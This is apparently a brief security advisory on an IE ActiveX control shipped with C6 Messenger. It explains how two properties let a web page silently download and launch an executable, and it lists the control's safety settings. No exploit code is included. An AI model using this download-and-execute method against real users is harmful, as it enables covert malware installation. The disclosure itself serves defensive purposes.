"C6 Messenger is an instant messaging program produced by Telecom Italia Group,
specifically by Alice (distribution), Icon Spa (development, design and server)
and Opendoc (graphics). It is the only instant messenger entirely produced in
Italy, is a free program, allows you to chat in real time with friends[..]"

installation urls:
http://c6.community.alice.it/home/index.html
http://c6.community.alice.it/download/c6.html

Whoever accessed the second one with IE to install c6 IM is vulnerable to this
threat. Notice that you can pass also local urls to "propDownloadUrl" property
and bypass Internet zone, no host check is performed.
"propPostDownloadAction" one is used to launch the executable.
A progress bar is shown but you can easily make it not visible.

settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data
IPersist Safe:  Safe for untrusted: caller,data

Let me guess, this one is already exploited in the wild...
